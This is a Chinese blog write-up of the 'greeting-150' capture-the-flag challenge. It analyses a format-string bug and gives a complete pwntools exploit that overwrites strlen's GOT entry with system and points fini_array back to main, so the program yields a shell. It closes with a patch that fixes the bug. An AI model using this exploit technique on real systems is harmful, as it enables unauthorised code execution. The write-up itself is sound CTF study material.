攻防世界greeting-150——进阶格式化字符串

攻防世界greeting-150——进阶格式化字符串

引入

小白不懂事,做着玩的

初步分析

1、checksec

没有pie,got完全可写,种种迹象表明got表准备好了被淦

2、伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [esp+1Ch] [ebp-84h] BYREF
  char v5[64]; // [esp+5Ch] [ebp-44h] BYREF
  unsigned int v6; // [esp+9Ch] [ebp-4h]

  v6 = __readgsdword(0x14u);
  printf("Please tell me your name... ");
  if ( !getnline(v5, 64) )
    return puts("Don't ignore me ;( ");
  sprintf(s, "Nice to meet you, %s :)\n", v5);
  return printf(s);
}

先读入v5,然后读入s,最后printf输入的字符串,明显的格式化字符串

3、运行

在这里插入图片描述

发现运行时在main函数的输出前还有一个输出,查阅资料:在执行main之前会先执行大量函数,其中就有init_array中的函数指针对应的函数。相对应的,在执行main函数后,也会执行大量函数,同样包括fini_array中的函数指针对应的函数。程序执行的流程如下所示。

在这里插入图片描述

所以我们查看程序中对应的段,找到这两个段的位置,发现init_array中确实保存了一个函数nao的offset

在这里插入图片描述

函数nao的内容

在这里插入图片描述

4、栈分析

在这里插入图片描述

参数偏移为11,不明白的可以看这两篇博客:

思路分析

1、持续控制

目的是got表,程序中有格式化字符串漏洞,那么可以直接构造栈达到任意地址写的目的

首先需要使用格式化字符串把got表内一个函数地址改为system地址,这里选择了参数符合要求的且易于调用的strlen函数,然后函数会结束并返回。

为了达到持续控制的目的,这时需要让main函数执行结束后再执行一遍,所以前面提及的fini_array就起作用了,如果我们把main函数的地址写入表中,就可以在main执行之后无限续杯了

相关地址

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

查询一下fini_array里原来保存的是什么

pwndbg> x/wx 0x08049934
0x8049934:   0x080485a0

因为地址与main的相近,覆盖的时候只需覆盖低4位即可

2、任意地址写

为了达到任意地址写的目的,需要使用格式化字符串里的%n参数,但是如果想要写入四个字节的话,可能会报错,所以这里为了增加成功几率,使用%hn参数,两个两个字节地覆盖。

关键,写入的时候要从小到大写入,因为%n写入的原理是把目标地址值修改为已输出的字符数

exp

from pwn import*
p=process('./greeting-150')

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490

p.recvuntil('Please tell me your name... ')
pl = b'a'*2
pl += p32(strlen_got)
pl += p32(strlen_got+2)  # 覆盖高4位
pl += p32(fini_array)
num = 0x804 - 0x20
pl += '%' + str(num) + 'c%13$hn'
num = 0x8490 - 0x804
pl += '%' + str(num) + 'c%12$hn'
num = 0x85ED - 0x8490
pl += '%' + str(num) + 'c%14$hn'
print(len(pl))
 
p.sendline(pl)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()
保留节目:修洞

把格式化字符串漏洞修复

修复前

.text:08048643                 call    _sprintf
.text:08048648                 lea     eax, [esp+0A0h+s]
.text:0804864C                 mov     [esp], eax      ; format
.text:0804864F                 call    _printf
.text:08048654                 jmp     short loc_8048662

修复后

.text:08048643                 call    _sprintf
.text:08048648                 lea     eax, [esp+0A0h+s]
.text:0804864C                 mov     [esp], eax      ; s
.text:0804864F                 call    puts     ; Keypatch modified this from:
.text:0804864F                                  ; call _printf
.text:08048654                 jmp     short loc_8048662
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值